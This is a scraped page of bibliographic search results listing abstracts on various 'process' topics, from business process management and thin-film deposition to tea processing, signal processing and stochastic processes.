phase and beyond. Phase I of the initiative included a concentrated review of processes that had a high potential for cost savings with the intent of realizing savings in Fiscal Year 1996 (FY-96.) Phase II consists of implementing long-term strategies too complex for Phase I implementation and evaluation of processes not targeted for Phase I review. The Phase II effort is targeted for realizing cost savings in FY-97 and beyond. 10. Technology or Process First? DEFF Research Database (Denmark) Siurdyban, Artur Henryk; Svejvig, Per; Møller, Charles between them using strategic alignment, Enterprise Systems and Business Process Management theories. We argue that the insights from these cases can lead to a better alignment between process and technology. Implications for practice include the direction towards a closer integration of process...... and technology factors in organizations. Theoretical implications call for a design-oriented view of technology and process alignment.... OpenAIRE 2014-01-01 Business Process Management (BPM) is considered to be the third wave in business process theory. Appearing as a response to the critique formulated regarding Business Process Reengineering, BPM tries to be a more holistic and integrated approach to management and processes. In a time where complex solutions are needed solution that incorporates elements from various concepts, Business Process Management can be, in my opinion, a link between these ideas. After a short introduction presenting g... 12. Thin film processes CERN Document Server Vossen, John L 1978-01-01 Remarkable advances have been made in recent years in the science and technology of thin film processes for deposition and etching. It is the purpose of this book to bring together tutorial reviews of selected filmdeposition and etching processes from a process viewpoint. Emphasis is placed on the practical use of the processes to provide working guidelines for their implementation, a guide to the literature, and an overview of each process. 13. Business process transformation the process tangram framework CERN Document Server Sharma, Chitra 2015-01-01 This book presents a framework through transformation and explains  how business goals can be translated into realistic plans that are tangible and yield real results in terms of the top line and the bottom line. Process Transformation is like a tangram puzzle, which has multiple solutions yet is essentially composed of seven 'tans' that hold it together. Based on practical experience and intensive research into existing material, 'Process Tangram' is a simple yet powerful framework that proposes Process Transformation as a program. The seven 'tans' are: the transformation program itself, triggers, goals, tools and techniques, culture, communication and success factors. With its segregation into tans and division into core elements, this framework makes it possible to use 'pick and choose' to quickly and easily map an organization's specific requirements. Change management and process modeling are covered in detail. In addition, the book approaches managed services as a model of service delivery, which it ex... 14. Process innovation laboratory DEFF Research Database (Denmark) Møller, Charles 2007-01-01 Most organizations today are required not only to operate effective business processes but also to allow for changing business conditions at an increasing rate. Today nearly every business relies on their enterprise information systems (EIS) for process integration and future generations of EIS...... will increasingly be driven by business process models. Consequently business process modelling and improvement is becoming a serious challenge. The aim of this paper is to establish a conceptual framework for business process innovation (BPI) in the supply chain based on advanced EIS. The challenge is thus...... to create a new methodology for developing and exploring process models and applications. The paper outlines the process innovation laboratory as a new approach to BPI. The process innovation laboratory is a comprehensive framework and a collaborative workspace for experimenting with process models... 15. Metallurgical process engineering Energy Technology Data Exchange (ETDEWEB) Yin, Ruiyu [Central Iron and Steel Research Institute (CISRI), Beijing (China) 2011-07-01 ''Metallurgical Process Engineering'' discusses large-scale integrated theory on the level of manufacturing production processes, putting forward concepts for exploring non-equilibrium and irreversible complex system. It emphasizes the dynamic and orderly operation of the steel plant manufacturing process, the major elements of which are the flow, process network and program. The book aims at establishing a quasi-continuous and continuous process system for improving several techno-economic indices, minimizing dissipation and enhancing the market competitiveness and sustainability of steel plants. The book is intended for engineers, researchers and managers in the fields of metallurgical engineering, industrial design, and process engineering. (orig.) 16. Acoustic signal processing toolbox for array processing Science.gov (United States) Pham, Tien; Whipps, Gene T. 2003-08-01 The US Army Research Laboratory (ARL) has developed an acoustic signal processing toolbox (ASPT) for acoustic sensor array processing. The intent of this document is to describe the toolbox and its uses. The ASPT is a GUI-based software that is developed and runs under MATLAB. The current version, ASPT 3.0, requires MATLAB 6.0 and above. ASPT contains a variety of narrowband (NB) and incoherent and coherent wideband (WB) direction-of-arrival (DOA) estimation and beamforming algorithms that have been researched and developed at ARL. Currently, ASPT contains 16 DOA and beamforming algorithms. It contains several different NB and WB versions of the MVDR, MUSIC and ESPRIT algorithms. In addition, there are a variety of pre-processing, simulation and analysis tools available in the toolbox. The user can perform simulation or real data analysis for all algorithms with user-defined signal model parameters and array geometries. 17. Secure Processing Lab Data.gov (United States) Federal Laboratory Consortium — The Secure Processing Lab is the center of excellence for new and novel processing techniques for the formation, calibration and analysis of radar. In addition, this... Data.gov (United States) Office of Personnel Management — Inventory of maps and descriptions of the business processes of the U.S. Office of Personnel Management (OPM), with an emphasis on the processes of the Office of the... Data.gov (United States) Federal Laboratory Consortium — The Radiochemical Processing Laboratory (RPL)�is a scientific facility funded by DOE to create and implement innovative processes for environmental clean-up and... 20. Natural Language Processing. Science.gov (United States) Chowdhury, Gobinda G. 2003-01-01 Discusses issues related to natural language processing, including theoretical developments; natural language understanding; tools and techniques; natural language text processing systems; abstracting; information extraction; information retrieval; interfaces; software; Internet, Web, and digital library applications; machine translation for… 1. Dairy processing, Improving quality NARCIS (Netherlands) Smit, G. 2003-01-01 This book discusses raw milk composition, production and quality, and reviews developments in processing from hygiene and HACCP systems to automation, high-pressure processing and modified atmosphere packaging. 2. Group Decision Process Support DEFF Research Database (Denmark) Gøtze, John; Hijikata, Masao 1997-01-01 Introducing the notion of Group Decision Process Support Systems (GDPSS) to traditional decision-support theorists.......Introducing the notion of Group Decision Process Support Systems (GDPSS) to traditional decision-support theorists.... 3. Towards better process understanding DEFF Research Database (Denmark) Matero, Sanni Elina; van der Berg, Franciscus Winfried J; Poutiainen, Sami 2013-01-01 , current best practice to control a typical process is to not allow process-related factors to vary i.e. lock the production parameters. The problem related to the lack of sufficient process understanding is still there: the variation within process and material properties is an intrinsic feature...... and cannot be compensated for with constant process parameters. Instead, a more comprehensive approach based on the use of multivariate tools for investigating processes should be applied. In the pharmaceutical field these methods are referred to as Process Analytical Technology (PAT) tools that aim...... to achieve a thorough understanding and control over the production process. PAT includes the frames for measurement as well as data analyzes and controlling for in-depth understanding, leading to more consistent and safer drug products with less batch rejections. In the optimal situation, by applying... 4. Cognitive processes in CBT NARCIS (Netherlands) Becker, E.S.; Vrijsen, J.N. 2017-01-01 Automatic cognitive processing helps us navigate the world. However, if the emotional and cognitive interplay becomes skewed, those cognitive processes can become maladaptive and result in psychopathology. Although biases are present in most mental disorders, different disorders are characterized by 5. Infrared processing of foods Science.gov (United States) Infrared (IR) processing of foods has been gaining popularity over conventional processing in several unit operations, including drying, peeling, baking, roasting, blanching, pasteurization, sterilization, disinfection, disinfestation, cooking, and popping . It has shown advantages over conventional... 6. News: Process intensification Science.gov (United States) Conservation of materials and energy is a major objective to the philosophy of sustainability. Where production processes can be intensified to assist these objectives, significant advances have been developed to assist conservation as well as cost. Process intensification (PI) h... 7. Polyamines in tea processing. Science.gov (United States) Palavan-Unsal, Narcin; Arisan, Elif Damla; Terzioglu, Salih 2007-06-01 The distribution of dietary polyamines, putrescine, spermidine and spermine, was determined during processing of Camellia sinensis. Black tea manufacture is carried by a series of processes on fresh tea leaves involving withering, rolling, fermentation, drying and sieving. The aim of this research was to determine the effect of tea processing on the polyamine content in relation with antioxidant enzymes, superoxide dismutase, lipid peroxidase and glutathione peroxidase. Before processing, the spermine content was much higher than the putrescine and spermidine content in green tea leaves. Spermine was significantly decreased during processing while the putrescine and spermine contents increased during withered and rolling and decreased in the following stages. The superoxide dismutase activity increased at the withering stage and declined during processing. The transcript level of the polyamine biosynthesis-responsible enzyme ornithine decarboxylase was reduced during each processing step. This study reveals the importance of protection of nutritional compounds that are essential for health during the manufacturing process. 8. Drug Development Process Science.gov (United States) ... Device Approvals The Drug Development Process The Drug Development Process Share Tweet Linkedin Pin it More sharing ... Pin it Email Print Step 1 Discovery and Development Discovery and Development Research for a new drug ... 9. Stochastic processes - quantum physics Energy Technology Data Exchange (ETDEWEB) Streit, L. (Bielefeld Univ. (Germany, F.R.)) 1984-01-01 The author presents an elementary introduction to stochastic processes. He starts from simple quantum mechanics and considers problems in probability, finally presenting quantum dynamics in terms of stochastic processes. 10. Software Process Improvement Defined DEFF Research Database (Denmark) Aaen, Ivan 2002-01-01 This paper argues in favor of the development of explanatory theory on software process improvement. The last one or two decades commitment to prescriptive approaches in software process improvement theory may contribute to the emergence of a gulf dividing theorists and practitioners....... It is proposed that this divide be met by the development of theory evaluating prescriptive approaches and informing practice with a focus on the software process policymaking and process control aspects of improvement efforts... 11. Software Process Improvement Defined DEFF Research Database (Denmark) Aaen, Ivan 2002-01-01 This paper argues in favor of the development of explanatory theory on software process improvement. The last one or two decades commitment to prescriptive approaches in software process improvement theory may contribute to the emergence of a gulf dividing theorists and practitioners....... It is proposed that this divide be met by the development of theory evaluating prescriptive approaches and informing practice with a focus on the software process policymaking and process control aspects of improvement efforts... DEFF Research Database (Denmark) Miller, Arne 1986-01-01 During the past few years significant advances have taken place in the different areas of dosimetry for radiation processing, mainly stimulated by the increased interest in radiation for food preservation, plastic processing and sterilization of medical products. Reference services both...... and sterilization dosimetry, optichromic dosimeters in the shape of small tubes for food processing, and ESR spectroscopy of alanine for reference dosimetry. In this paper the special features of radiation processing dosimetry are discussed, several commonly used dosimeters are reviewed, and factors leading... 13. Modeling multiphase materials processes CERN Document Server Iguchi, Manabu 2010-01-01 ""Modeling Multiphase Materials Processes: Gas-Liquid Systems"" describes the methodology and application of physical and mathematical modeling to multi-phase flow phenomena in materials processing. The book focuses on systems involving gas-liquid interaction, the most prevalent in current metallurgical processes. The performance characteristics of these processes are largely dependent on transport phenomena. This volume covers the inherent characteristics that complicate the modeling of transport phenomena in such systems, including complex multiphase structure, intense turbulence, opacity of 14. Grind hardening process CERN Document Server Salonitis, Konstantinos 2015-01-01 This book presents the grind-hardening process and the main studies published since it was introduced in 1990s.  The modelling of the various aspects of the process, such as the process forces, temperature profile developed, hardness profiles, residual stresses etc. are described in detail. The book is of interest to the research community working with mathematical modeling and optimization of manufacturing processes. 15. Continuous sodium modification of nearly-eutectic aluminium alloys. Part II. Experimental studiem Directory of Open Access Journals (Sweden) Białobrzeski A. 2007-01-01 Full Text Available One of the possible means of continuous sodium modification of nearly-eutectic alloys may be continuous electrolysis of sodium compounds (salts, taking place directly in metal bath (in the crucible. For this process it is necessary to use a solid electrolyte conducting sodium ions. Under the effect of the applied direct current voltage, sodium salt placed in a retort made from the solid electrolyte undergoes dissociation, and next - electrolysis. The retort is immersed in liquid metal. The anode is sodium salt, at that temperature occurring in liquid state, connected to the direct current source through, e.g. a graphite electrode, while cathode is the liquid metal. Sodium ions formed during the sodium salt dissociation and electrolysis are transported through the wall of the solid electrolyte (the material of the retort and in contact with liquid alloy acting as a cathode, they are passing into atomic state, modifying the metal bath. 16. Semisolid Metal Processing Consortium Energy Technology Data Exchange (ETDEWEB) Apelian,Diran 2002-01-10 Mathematical modeling and simulations of semisolid filling processes remains a critical issue in understanding and optimizing the process. Semisolid slurries are non-Newtonian materials that exhibit complex rheological behavior. There the way these slurries flow in cavities is very different from the way liquid in classical casting fills cavities. Actually filling in semisolid processing is often counter intuitive 17. Clinical Process Intelligence DEFF Research Database (Denmark) Vilstrup Pedersen, Klaus 2006-01-01 .e. local guidelines. From a knowledge management point of view, this externalization of generalized processes, gives the opportunity to learn from, evaluate and optimize the processes. "Clinical Process Intelligence" (CPI), will denote the goal of getting generalized insight into patient centered health... 18. Auditory processing models DEFF Research Database (Denmark) Dau, Torsten 2008-01-01 The Handbook of Signal Processing in Acoustics will compile the techniques and applications of signal processing as they are used in the many varied areas of Acoustics. The Handbook will emphasize the interdisciplinary nature of signal processing in acoustics. Each Section of the Handbook will pr... 19. Teaching Process Design through Integrated Process Synthesis Science.gov (United States) Metzger, Matthew J.; Glasser, Benjamin J.; Patel, Bilal; Hildebrandt, Diane; Glasser, David 2012-01-01 The design course is an integral part of chemical engineering education. A novel approach to the design course was recently introduced at the University of the Witwatersrand, Johannesburg, South Africa. The course aimed to introduce students to systematic tools and techniques for setting and evaluating performance targets for processes, as well as… 20. Thin film processes II CERN Document Server Kern, Werner 1991-01-01 This sequel to the 1978 classic, Thin Film Processes, gives a clear, practical exposition of important thin film deposition and etching processes that have not yet been adequately reviewed. It discusses selected processes in tutorial overviews with implementation guide lines and an introduction to the literature. Though edited to stand alone, when taken together, Thin Film Processes II and its predecessor present a thorough grounding in modern thin film techniques.Key Features* Provides an all-new sequel to the 1978 classic, Thin Film Processes* Introduces new topics, and sever 1. Silicon production process evaluations Science.gov (United States) 1982-01-01 Chemical engineering analyses involving the preliminary process design of a plant (1,000 metric tons/year capacity) to produce silicon via the technology under consideration were accomplished. Major activities in the chemical engineering analyses included base case conditions, reaction chemistry, process flowsheet, material balance, energy balance, property data, equipment design, major equipment list, production labor and forward for economic analysis. The process design package provided detailed data for raw materials, utilities, major process equipment and production labor requirements necessary for polysilicon production in each process. CERN Document Server Wooldridge, Susan 2013-01-01 Data Processing: Made Simple, Second Edition presents discussions of a number of trends and developments in the world of commercial data processing. The book covers the rapid growth of micro- and mini-computers for both home and office use; word processing and the 'automated office'; the advent of distributed data processing; and the continued growth of database-oriented systems. The text also discusses modern digital computers; fundamental computer concepts; information and data processing requirements of commercial organizations; and the historical perspective of the computer industry. The 3. Biomass process handbook Energy Technology Data Exchange (ETDEWEB) 1983-01-01 Descriptions are given of 42 processes which use biomass to produce chemical products. Marketing and economic background, process description, flow sheets, costs, major equipment, and availability of technology are given for each of the 42 processes. Some of the chemicals discussed are: ethanol, ethylene, acetaldehyde, butanol, butadiene, acetone, citric acid, gluconates, itaconic acid, lactic acid, xanthan gum, sorbitol, starch polymers, fatty acids, fatty alcohols, glycerol, soap, azelaic acid, perlargonic acid, nylon-11, jojoba oil, furfural, furfural alcohol, tetrahydrofuran, cellulose polymers, products from pulping wastes, and methane. Processes include acid hydrolysis, enzymatic hydrolysis, fermentation, distillation, Purox process, and anaerobic digestion. 4. Colloid process engineering CERN Document Server Peukert, Wolfgang; Rehage, Heinz; Schuchmann, Heike 2015-01-01 This book deals with colloidal systems in technical processes and the influence of colloidal systems by technical processes. It explores how new measurement capabilities can offer the potential for a dynamic development of scientific and engineering, and examines the origin of colloidal systems and its use for new products. The future challenges to colloidal process engineering are the development of appropriate equipment and processes for the production and obtainment of multi-phase structures and energetic interactions in market-relevant quantities. The book explores the relevant processes and for controlled production and how they can be used across all scales. 5. Process-based costing. Science.gov (United States) Lee, Robert H; Bott, Marjorie J; Forbes, Sarah; Redford, Linda; Swagerty, Daniel L; Taunton, Roma Lee 2003-01-01 Understanding how quality improvement affects costs is important. Unfortunately, low-cost, reliable ways of measuring direct costs are scarce. This article builds on the principles of process improvement to develop a costing strategy that meets both criteria. Process-based costing has 4 steps: developing a flowchart, estimating resource use, valuing resources, and calculating direct costs. To illustrate the technique, this article uses it to cost the care planning process in 3 long-term care facilities. We conclude that process-based costing is easy to implement; generates reliable, valid data; and allows nursing managers to assess the costs of new or modified processes. 6. Dynamical laser spike processing CERN Document Server Shastri, Bhavin J; Tait, Alexander N; Rodriguez, Alejandro W; Wu, Ben; Prucnal, Paul R 2015-01-01 Novel materials and devices in photonics have the potential to revolutionize optical information processing, beyond conventional binary-logic approaches. Laser systems offer a rich repertoire of useful dynamical behaviors, including the excitable dynamics also found in the time-resolved "spiking" of neurons. Spiking reconciles the expressiveness and efficiency of analog processing with the robustness and scalability of digital processing. We demonstrate that graphene-coupled laser systems offer a unified low-level spike optical processing paradigm that goes well beyond previously studied laser dynamics. We show that this platform can simultaneously exhibit logic-level restoration, cascadability and input-output isolation---fundamental challenges in optical information processing. We also implement low-level spike-processing tasks that are critical for higher level processing: temporal pattern detection and stable recurrent memory. We study these properties in the context of a fiber laser system, but the addit... 7. Energy and technology review Energy Technology Data Exchange (ETDEWEB) 1983-10-01 Three review articles are presented. The first describes the Lawrence Livermore Laboratory role in the research and development of oil-shale retorting technology through its studies of the relevant chemical and physical processes, mathematical models, and new retorting concepts. Second is a discussion of investigation of properties of dense molecular fluids at high pressures and temperatures to improve understanding of high-explosive behavior, giant-planet structure, and hydrodynamic shock interactions. Third, by totally computerizing the triple-quadrupole mass spectrometer system, the laboratory has produced a general-purpose instrument of unrivaled speed, selectivity, and adaptability for the analysis and identification of trace organic constituents in complex chemical mixtures. (GHT) 8. A secondary fuel removal process: plasma processing Energy Technology Data Exchange (ETDEWEB) Min, J. Y.; Kim, Y. S. [Hanyang Univ., Seoul (Korea, Republic of); Bae, K. K.; Yang, M. S. [Korea Atomic Energy Research Institute, Taejon (Korea, Republic of) 1997-07-01 Plasma etching process of UO{sub 2} by using fluorine containing gas plasma is studied as a secondary fuel removal process for DUPIC (Direct Use of PWR spent fuel Into Candu) process which is taken into consideration for potential future fuel cycle in Korea. CF{sub 4}/O{sub 2} gas mixture is chosen for reactant gas and the etching rates of UO{sub 2} by the gas plasma are investigated as functions of CF{sub 4}/O{sub 2} ratio, plasma power, substrate temperature, and plasma gas pressure. It is found that the optimum CF{sub 4}/O{sub 2} ratio is around 4:1 at all temperatures up to 400 deg C and the etching rate increases with increasing r.f. power and substrate temperature. Under 150W r.f. power the etching rate reaches 1100 monolayers/min at 400 deg C, which is equivalent to about 0.5mm/min. (author). 9. Pultrusion process characterization Science.gov (United States) Vaughan, James G.; Hackett, Robert M. 1991-01-01 Pultrusion is a process through which high-modulus, lightweight composite structural members such as beams, truss components, stiffeners, etc., are manufactured. The pultrusion process, though a well-developed processing art, lacks a fundamental scientific understanding. The objective here was to determine, both experimentally and analytically, the process parameters most important in characterizing and optimizing the pultrusion of uniaxial fibers. The effects of process parameter interactions were experimentally examined as a function of the pultruded product properties. A numerical description based on these experimental results was developed. An analytical model of the pultrusion process was also developed. The objective of the modeling effort was the formulation of a two-dimensional heat transfer model and development of solutions for the governing differential equations using the finite element method. Energy Technology Data Exchange (ETDEWEB) Haurykiewicz, John Paul [Los Alamos National Lab. (LANL), Los Alamos, NM (United States); Dinehart, Timothy Grant [Los Alamos National Lab. (LANL), Los Alamos, NM (United States); Parker, Robert Young [Los Alamos National Lab. (LANL), Los Alamos, NM (United States) 2016-05-12 The purpose of this process analysis was to analyze the Badge Offices’ current processes from a systems perspective and consider ways of pursuing objectives set forth by SEC-PS, namely increased customer flow (throughput) and reduced customer wait times. Information for the analysis was gathered for the project primarily through Badge Office Subject Matter Experts (SMEs), and in-person observation of prevailing processes. Using the information gathered, a process simulation model was constructed to represent current operations and allow assessment of potential process changes relative to factors mentioned previously. The overall purpose of the analysis was to provide SEC-PS management with information and recommendations to serve as a basis for additional focused study and areas for potential process improvements in the future. 11. Technology or Process First? DEFF Research Database (Denmark) Siurdyban, Artur Henryk; Svejvig, Per; Møller, Charles Enterprise Systems Management (ESM) and Business Pro- cess Management (BPM), although highly correlated, have evolved as alternative and mutually exclusive approaches to corporate infrastruc- ture. As a result, companies struggle to nd the right balance between technology and process factors...... in infrastructure implementation projects. The purpose of this paper is articulate a need and a direction to medi- ate between the process-driven and the technology-driven approaches. Using a cross-case analysis, we gain insight into two examples of sys- tems and process implementation. We highlight the dierences...... between them using strategic alignment, Enterprise Systems and Business Process Management theories. We argue that the insights from these cases can lead to a better alignment between process and technology. Implications for practice include the direction towards a closer integration of process... 12. Decomposability for stable processes CERN Document Server Wang, Yizao; Roy, Parthanil 2011-01-01 We characterize all possible independent symmetric $\\alpha$-stable (S$\\alpha$S) components of a non--Gaussian S$\\alpha$S process, $0<\\alpha<2$. In particular, we characterize the independent stationary S$\\alpha$S components of a stationary S$\\alpha$S process. One simple consequence of our characterization is that all stationary components of the S$\\alpha$S moving average processes are trivial. As a main application, we show that the standard Brown--Resnick process has a moving average representation. This complements a result of Kabluchko et al. (2009), who obtained mixed moving average representations for these processes. We also develop a parallel characterization theory for max-stable processes. 13. Clinical Process Intelligence DEFF Research Database (Denmark) Vilstrup Pedersen, Klaus 2006-01-01 .e. local guidelines. From a knowledge management point of view, this externalization of generalized processes, gives the opportunity to learn from, evaluate and optimize the processes. "Clinical Process Intelligence" (CPI), will denote the goal of getting generalized insight into patient centered health......, generalized processes de-ducted from many patient cases and clinical guidelines, are all guidelines that may be used in clinical reasoning. The differ-ence is the validity of the suggested actions and decisions. In the case of generalized processes deducted from EMRs, we have "what we usually do" practice i...... care processes by means of statistical, OLAP and data mining tech-niques, with the aim of refining clinical guidelines, develop local guidelines and facilitate outcome predictions.... 14. Linearity in Process Languages DEFF Research Database (Denmark) Nygaard, Mikkel; Winskel, Glynn 2002-01-01 The meaning and mathematical consequences of linearity (managing without a presumed ability to copy) are studied for a path-based model of processes which is also a model of affine-linear logic. This connection yields an affine-linear language for processes, automatically respecting open-map bisi......The meaning and mathematical consequences of linearity (managing without a presumed ability to copy) are studied for a path-based model of processes which is also a model of affine-linear logic. This connection yields an affine-linear language for processes, automatically respecting open......-map bisimulation, in which a range of process operations can be expressed. An operational semantics is provided for the tensor fragment of the language. Different ways to make assemblies of processes lead to different choices of exponential, some of which respect bisimulation.... OpenAIRE Al-Fedaghi, Sabah 2017-01-01 This paper presents a flow-based methodology for capturing processes specified in business process modeling. The proposed methodology is demonstrated through re-modeling of an IBM Blueworks case study. While the Blueworks approach offers a well-proven tool in the field, this should not discourage workers from exploring other ways of thinking about effectively capturing processes. The diagrammatic representation presented here demonstrates a viable methodology in this context. It is hoped this... 16. Basic digital signal processing CERN Document Server Lockhart, Gordon B 1985-01-01 Basic Digital Signal Processing describes the principles of digital signal processing and experiments with BASIC programs involving the fast Fourier theorem (FFT). The book reviews the fundamentals of the BASIC program, continuous and discrete time signals including analog signals, Fourier analysis, discrete Fourier transform, signal energy, power. The text also explains digital signal processing involving digital filters, linear time-variant systems, discrete time unit impulse, discrete-time convolution, and the alternative structure for second order infinite impulse response (IIR) sections. 17. Transnational Learning Processes DEFF Research Database (Denmark) Nedergaard, Peter This paper analyses and compares the transnational learning processes in the employment field in the European Union and among the Nordic countries. Based theoretically on a social constructivist model of learning and methodologically on a questionnaire distributed to the relevant participants......, a number of hypotheses concerning transnational learning processes are tested. The paper closes with a number of suggestions regarding an optimal institutional setting for facilitating transnational learning processes.Key words: Transnational learning, Open Method of Coordination, Learning, Employment... 18. Polygon mesh processing CERN Document Server Botsch, Mario; Pauly, Mark; Alliez, Pierre; Levy, Bruno 2010-01-01 Geometry processing, or mesh processing, is a fast-growing area of research that uses concepts from applied mathematics, computer science, and engineering to design efficient algorithms for the acquisition, reconstruction, analysis, manipulation, simulation, and transmission of complex 3D models. Applications of geometry processing algorithms already cover a wide range of areas from multimedia, entertainment, and classical computer-aided design, to biomedical computing, reverse engineering, and scientific computing. Over the last several years, triangle meshes have become increasingly popular, 19. Scientific information processing procedures Directory of Open Access Journals (Sweden) García, Maylin 2013-07-01 Full Text Available The paper systematizes several theoretical view-points on scientific information processing skill. It decomposes the processing skills into sub-skills. Several methods such analysis, synthesis, induction, deduction, document analysis were used to build up a theoretical framework. Interviews and survey to professional being trained and a case study was carried out to evaluate the results. All professional in the sample improved their performance in scientific information processing. 20. NASA Hazard Analysis Process Science.gov (United States) Deckert, George 2010-01-01 This viewgraph presentation reviews The NASA Hazard Analysis process. The contents include: 1) Significant Incidents and Close Calls in Human Spaceflight; 2) Subsystem Safety Engineering Through the Project Life Cycle; 3) The Risk Informed Design Process; 4) Types of NASA Hazard Analysis; 5) Preliminary Hazard Analysis (PHA); 6) Hazard Analysis Process; 7) Identify Hazardous Conditions; 8) Consider All Interfaces; 9) Work a Preliminary Hazard List; 10) NASA Generic Hazards List; and 11) Final Thoughts 1. Process Improvement Essentials CERN Document Server 2006-01-01 Process Improvement Essentials combines the foundation needed to understand process improvement theory with the best practices to help individuals implement process improvement initiatives in their organization. The three leading programs: ISO 9001:2000, CMMI, and Six Sigma--amidst the buzz and hype--tend to get lumped together under a common label. This book delivers a combined guide to all three programs, compares their applicability, and then sets the foundation for further exploration. 2. Natural Language Processing OpenAIRE Preeti; BrahmaleenKaurSidhu 2013-01-01 Natural language processing (NLP) work began more than sixty years ago; it is a field of computer science and linguistics devoted to creating computer systems that use human (natural) language. Natural Language Processing holds great promise for making computer interfaces that are easier to use for people, since people will be able to talk to the computer in their own language, rather than learn a specialized language of computer commands. Natural Language processing techniques can make possi... 3. Multiphoton processes: conference proceedings Energy Technology Data Exchange (ETDEWEB) Lambropoulos, P.; Smith, S.J. (eds.) 1984-01-01 The chapters of this volume represent the invited papers delivered at the conference. They are arranged according to thermatic proximity beginning with atoms and continuing with molecules and surfaces. Section headings include multiphoton processes in atoms, field fluctuations and collisions in multiphoton process, and multiphoton processes in molecules and surfaces. Abstracts of individual items from the conference were prepared separately for the data base. (GHT) 4. SIMULATION OF LOGISTICS PROCESSES OpenAIRE Yu. Taranenko; Fedorenko, I. 2016-01-01 The article deals with the theoretical basis of the simulation. The study shows the simulation of logistic processes in industrial countries is an integral part of many economic projects aimed at the creation or improvement of logistics systems. The paper was used model Beer Game for management of logistics processes in the enterprise. The simulation model implements in AnyLogic package. AnyLogic product allows us to consider the logistics processes as an integrated system, which allows reach... 5. TEP process flow diagram Energy Technology Data Exchange (ETDEWEB) Wilms, R Scott [Los Alamos National Laboratory; Carlson, Bryan [Los Alamos National Laboratory; Coons, James [Los Alamos National Laboratory; Kubic, William [Los Alamos National Laboratory 2008-01-01 This presentation describes the development of the proposed Process Flow Diagram (PFD) for the Tokamak Exhaust Processing System (TEP) of ITER. A brief review of design efforts leading up to the PFD is followed by a description of the hydrogen-like, air-like, and waterlike processes. Two new design values are described; the mostcommon and most-demanding design values. The proposed PFD is shown to meet specifications under the most-common and mostdemanding design values. 6. Jointly Poisson processes CERN Document Server Johnson, D H 2009-01-01 What constitutes jointly Poisson processes remains an unresolved issue. This report reviews the current state of the theory and indicates how the accepted but unproven model equals that resulting from the small time-interval limit of jointly Bernoulli processes. One intriguing consequence of these models is that jointly Poisson processes can only be positively correlated as measured by the correlation coefficient defined by cumulants of the probability generating functional. 7. Standard Model processes CERN Document Server Mangano, M.L.; Aguilar Saavedra, J.A.; Alekhin, S.; Badger, S.; Bauer, C.W.; Becher, T.; Bertone, V.; Bonvini, M.; Boselli, S.; Bothmann, E.; Boughezal, R.; Cacciari, M.; Carloni Calame, C.M.; Caola, F.; Campbell, J.M.; Carrazza, S.; Chiesa, M.; Cieri, L.; Cimaglia, F.; Febres Cordero, F.; Ferrarese, P.; D'Enterria, D.; Ferrera, G.; Garcia i Tormo, X.; Garzelli, M.V.; Germann, E.; Hirschi, V.; Han, T.; Ita, H.; Jäger, B.; Kallweit, S.; Karlberg, A.; Kuttimalai, S.; Krauss, F.; Larkoski, A.J.; Lindert, J.; Luisoni, G.; Maierhöfer, P.; Mattelaer, O.; Martinez, H.; Moch, S.; Montagna, G.; Moretti, M.; Nason, P.; Nicrosini, O.; Oleari, C.; Pagani, D.; Papaefstathiou, A.; Petriello, F.; Piccinini, F.; Pierini, M.; Pierog, T.; Pozzorini, S.; Re, E.; Robens, T.; Rojo, J.; Ruiz, R.; Sakurai, K.; Salam, G.P.; Salfelder, L.; Schönherr, M.; Schulze, M.; Schumann, S.; Selvaggi, M.; Shivaji, A.; Siodmok, A.; Skands, P.; Torrielli, P.; Tramontano, F.; Tsinikos, I.; Tweedie, B.; Vicini, A.; Westhoff, S.; Zaro, M.; Zeppenfeld, D.; CERN. Geneva. ATS Department 2017-06-22 This report summarises the properties of Standard Model processes at the 100 TeV pp collider. We document the production rates and typical distributions for a number of benchmark Standard Model processes, and discuss new dynamical phenomena arising at the highest energies available at this collider. We discuss the intrinsic physics interest in the measurement of these Standard Model processes, as well as their role as backgrounds for New Physics searches. CERN Document Server Grover, Varun 2015-01-01 Featuring contributions from prominent thinkers and researchers, this volume in the ""Advances in Management Information Systems"" series provides a rich set of conceptual, empirical, and introspective studies that epitomize fundamental knowledge in the area of Business Process Transformation. Processes are interpreted broadly to include operational and managerial processes within and between organizations, as well as those involved in knowledge generation. Transformation includes radical and incremental change, its conduct, management, and outcome. The editors and contributing authors pay clo 9. Multimodal Processes Rescheduling DEFF Research Database (Denmark) Bocewicz, Grzegorz; Banaszak, Zbigniew A.; Nielsen, Peter 2013-01-01 Cyclic scheduling problems concerning multimodal processes are usually observed in FMSs producing multi-type parts where the Automated Guided Vehicles System (AGVS) plays a role of a material handling system. Schedulability analysis of concurrently flowing cyclic processes (SCCP) exe-cuted in the......Cyclic scheduling problems concerning multimodal processes are usually observed in FMSs producing multi-type parts where the Automated Guided Vehicles System (AGVS) plays a role of a material handling system. Schedulability analysis of concurrently flowing cyclic processes (SCCP) exe... 10. The Critical Design Process DEFF Research Database (Denmark) Brunsgaard, Camilla; Knudstrup, Mary-Ann; Heiselberg, Per 2014-01-01 within Danish tradition of architecture and construction. The objective of the research presented in this paper, is to compare the different design processes behind the making of passive houses in a Danish context. We evaluated the process with regard to the integrated and traditional design process....... Data analysis showed that the majority of the consortiums worked in an integrated manner; though there was room for improvment. Additionally, the paper discusses the challanges of implementing the integrated design process in practice and suggests ways of overcomming some of the barriers . In doing so... 11. Biased predecision processing. Science.gov (United States) Brownstein, Aaron L 2003-07-01 Decision makers conduct biased predecision processing when they restructure their mental representation of the decision environment to favor one alternative before making their choice. The question of whether biased predecision processing occurs has been controversial since L. Festinger (1957) maintained that it does not occur. The author reviews relevant research in sections on theories of cognitive dissonance, decision conflict, choice certainty, action control, action phases, dominance structuring, differentiation and consolidation, constructive processing, motivated reasoning, and groupthink. Some studies did not find evidence of biased predecision processing, but many did. In the Discussion section, the moderators are summarized and used to assess the theories. 12. Fuels Processing Laboratory Data.gov (United States) Federal Laboratory Consortium — NETL’s Fuels Processing Laboratory in Morgantown, WV, provides researchers with the equipment they need to thoroughly explore the catalytic issues associated with... 13. Financial information processing Institute of Scientific and Technical Information of China (English) Shuo BAI; Shouyang WANG; Lean YU; Aoying ZHOU 2009-01-01 @@ The rapid growth in financial data volume has made financial information processing more and more difficult due to the increase in complexity, which has forced businesses and academics alike to turn to sophisticated information processing technologies for better solutions. A typical feature is that high-performance computers and advanced computational techniques play ever-increasingly important roles for business and industries to have competitive advantages. Accordingly, financial information processing has emerged as a new cross-disciplinary field integrating computer science, mathematics, financial economics, intelligent techniques, and computer simulations to make different decisions based on processed financial information. 14. Cooperative internal conversion process CERN Document Server 